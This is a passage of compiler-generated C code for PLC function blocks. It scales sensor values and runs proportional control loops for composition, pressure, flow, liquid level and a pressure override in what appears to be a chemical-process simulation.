__INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); 